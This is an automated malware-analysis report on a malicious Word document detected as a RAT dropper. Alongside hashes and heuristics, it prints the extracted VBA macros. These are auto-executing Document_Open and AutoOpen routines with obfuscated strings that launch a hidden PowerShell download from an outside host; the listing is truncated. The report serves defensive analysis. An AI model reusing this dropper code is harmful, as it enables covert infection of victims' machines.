Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48e927fdba30f492…

MALICIOUS

Office (OLE)

132.5 KB Created: 2018-02-02 17:00:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: c0f1388f8a09f07fc3c3dde275611be0 SHA-1: 1ede4b885fb2767ebab2933c8a92a7c650ebfa5f SHA-256: 48e927fdba30f492976a226d68dfab44253f592a87be2abe9c201f1b9a93a2b3
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing multiple auto-executing VBA macros, including Document_Open and AutoOpen. These macros utilize obfuscated strings and the Shell() function to execute a payload. The ClamAV detection name 'Doc.Dropper.ImminentMonitorRAT-10018167-0' strongly suggests the document's purpose is to drop and execute a Remote Access Trojan (RAT). The VBA script attempts to construct a command using obfuscated strings, which is then executed via Shell().

Heuristics 10

  • ClamAV: Doc.Dropper.ImminentMonitorRAT-10018167-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.ImminentMonitorRAT-10018167-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5071 bytes
SHA-256: 9947c5e4f60637eeff9a5b45911229367a79faa1bcbe7c473078baf33574248d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
        Dim pg, bl As String
        Dim fE As Long
        Dim qu As String
        Dim aD() As Byte
        qu = ThisDocument.BuiltInDocumentProperties("Tit" + "le")
        aD = StrConv(qu, vbFromUnicode)
        For fE = 0 To UBound(aD)
                aD(fE) = aD(fE) - 7
        Next fE
        pg = StrConv(aD, vbUnicode)
        bl = StrReverse(pg)
        Shell (Replace(Replace(Split(bl, Chr(124))(1), Split(bl, Chr(124))(0), Chr(46)), "FP" + "ATH", ActiveDocument.Path & Application.PathSeparator & ActiveDocument.Name)), 0
End Sub


Attribute VB_Name = "NewMacros"
Sub AutoOpen()
exec1 = ChrW(113 - 1) & ChrW(112 - 1) & ChrW(120 - 1) & ChrW(102 - 1) & ChrW(115 - 1) & ChrW(116 - 1) & ChrW(105 - 1) & ChrW(102 - 1) & ChrW(109 - 1) & ChrW(109 - 1) & ChrW(47 - 1)
exec2 = ChrW(102 - 1) & ChrW(121 - 1) & ChrW(102 - 1) & ChrW(33 - 1) & ChrW(46 - 1) & ChrW(70 - 1) & ChrW(121 - 1) & ChrW(102 - 1) & ChrW(100 - 1) & ChrW(118 - 1) & ChrW(117 - 1)
exec3 = ChrW(106 - 1) & ChrW(112 - 1) & ChrW(111 - 1) & ChrW(81 - 1) & ChrW(112 - 1) & ChrW(109 - 1) & ChrW(106 - 1) & ChrW(100 - 1) & ChrW(122 - 1) & ChrW(33 - 1) & ChrW(99 - 1)
exec4 = ChrW(122 - 1) & ChrW(113 - 1) & ChrW(98 - 1) & ChrW(116 - 1) & ChrW(116 - 1) & ChrW(33 - 1) & ChrW(46 - 1) & ChrW(111 - 1) & ChrW(112 - 1) & ChrW(113 - 1) & ChrW(115 - 1)
exec5 = ChrW(112 - 1) & ChrW(103 - 1) & ChrW(106 - 1) & ChrW(109 - 1) & ChrW(102 - 1) & ChrW(33 - 1) & ChrW(46 - 1) & ChrW(120 - 1) & ChrW(106 - 1) & ChrW(111 - 1) & ChrW(101 - 1)
exec6 = ChrW(112 - 1) & ChrW(120 - 1) & ChrW(116 - 1) & ChrW(117 - 1) & ChrW(122 - 1) & ChrW(109 - 1) & ChrW(102 - 1) & ChrW(33 - 1) & ChrW(105 - 1) & ChrW(106 - 1) & ChrW(101 - 1)
exec7 = ChrW(101 - 1) & ChrW(102 - 1) & ChrW(111 - 1) & ChrW(33 - 1) & ChrW(41 - 1) & ChrW(111 - 1) & ChrW(102 - 1) & ChrW(120 - 1) & ChrW(46 - 1) & ChrW(112 - 1) & ChrW(99 - 1)
exec8 = ChrW(107 - 1) & ChrW(102 - 1) & ChrW(100 - 1) & ChrW(117 - 1) & ChrW(33 - 1) & ChrW(84 - 1) & ChrW(122 - 1) & ChrW(116 - 1) & ChrW(117 - 1) & ChrW(102 - 1) & ChrW(110 - 1)
exec9 = ChrW(47 - 1) & ChrW(79 - 1) & ChrW(102 - 1) & ChrW(117 - 1) & ChrW(47 - 1) & ChrW(88 - 1) & ChrW(102 - 1) & ChrW(99 - 1) & ChrW(68 - 1) & ChrW(109 - 1) & ChrW(106 - 1)
exec10 = ChrW(102 - 1) & ChrW(111 - 1) & ChrW(117 - 1) & ChrW(42 - 1) & ChrW(47 - 1) & ChrW(69 - 1) & ChrW(112 - 1) & ChrW(120 - 1) & ChrW(111 - 1) & ChrW(109 - 1) & ChrW(112 - 1)
exec11 = ChrW(98 - 1) & ChrW(101 - 1) & ChrW(103 - 1) & ChrW(106 - 1) & ChrW(109 - 1) & ChrW(102 - 1) & ChrW(41 - 1) & ChrW(40 - 1) & ChrW(105 - 1) & ChrW(117 - 1) & ChrW(117 - 1)
exec12 = ChrW(113 - 1) & ChrW(116 - 1) & ChrW(59 - 1) & ChrW(48 - 1) & ChrW(48 - 1) & ChrW(101 - 1) & ChrW(115 - 1) & ChrW(106 - 1) & ChrW(119 - 1) & ChrW(102 - 1) & ChrW(47 - 1)
exec13 = ChrW(104 - 1) & ChrW(112 - 1) & ChrW(112 - 1) & ChrW(104 - 1) & ChrW(109 - 1) & ChrW(102 - 1) & ChrW(47 - 1) & ChrW(100 - 1) & ChrW(112 - 1) & ChrW(110 - 1) & ChrW(48 - 1)
exec14 = ChrW(118 - 1) & ChrW(100 - 1) & ChrW(64 - 1) & ChrW(102 - 1) & ChrW(121 - 1) & ChrW(113 - 1) & ChrW(112 - 1) & ChrW(115 - 1) & ChrW(117 - 1) & ChrW(62 - 1) & ChrW(101 - 1)
exec15 = ChrW(112 - 1) & ChrW(120 - 1) & ChrW(111 - 1) & ChrW(109 - 1) & ChrW(112 - 1) & ChrW(98 - 1) & ChrW(101 - 1) & ChrW(39 - 1) & ChrW(106 - 1) & ChrW(101 - 1) & ChrW(62 - 1)
exec16 = ChrW(50 - 1) & ChrW(73 - 1) & ChrW(114 - 1) & ChrW(120 - 1) & ChrW(108 - 1) & ChrW(68 - 1) & ChrW(75 - 1) & ChrW(75 - 1) & ChrW(52 - 1) & ChrW(109 - 1) & ChrW(83 - 1)
exec17 = ChrW(78 - 1) & ChrW(116 - 1) & ChrW(70 - 1) & ChrW(101 - 1) & ChrW(120 - 1) & ChrW(89 - 1) & ChrW(83 - 1) & ChrW(102 - 1) & ChrW(101 - 1) & ChrW(88 - 1) & ChrW(85 - 1)
exec18 = ChrW(101 - 1) & ChrW(84 - 1) & ChrW(84 - 1) & ChrW(107 - 1) & ChrW(115 - 1) & ChrW(108 - 1) & ChrW(89
... (truncated)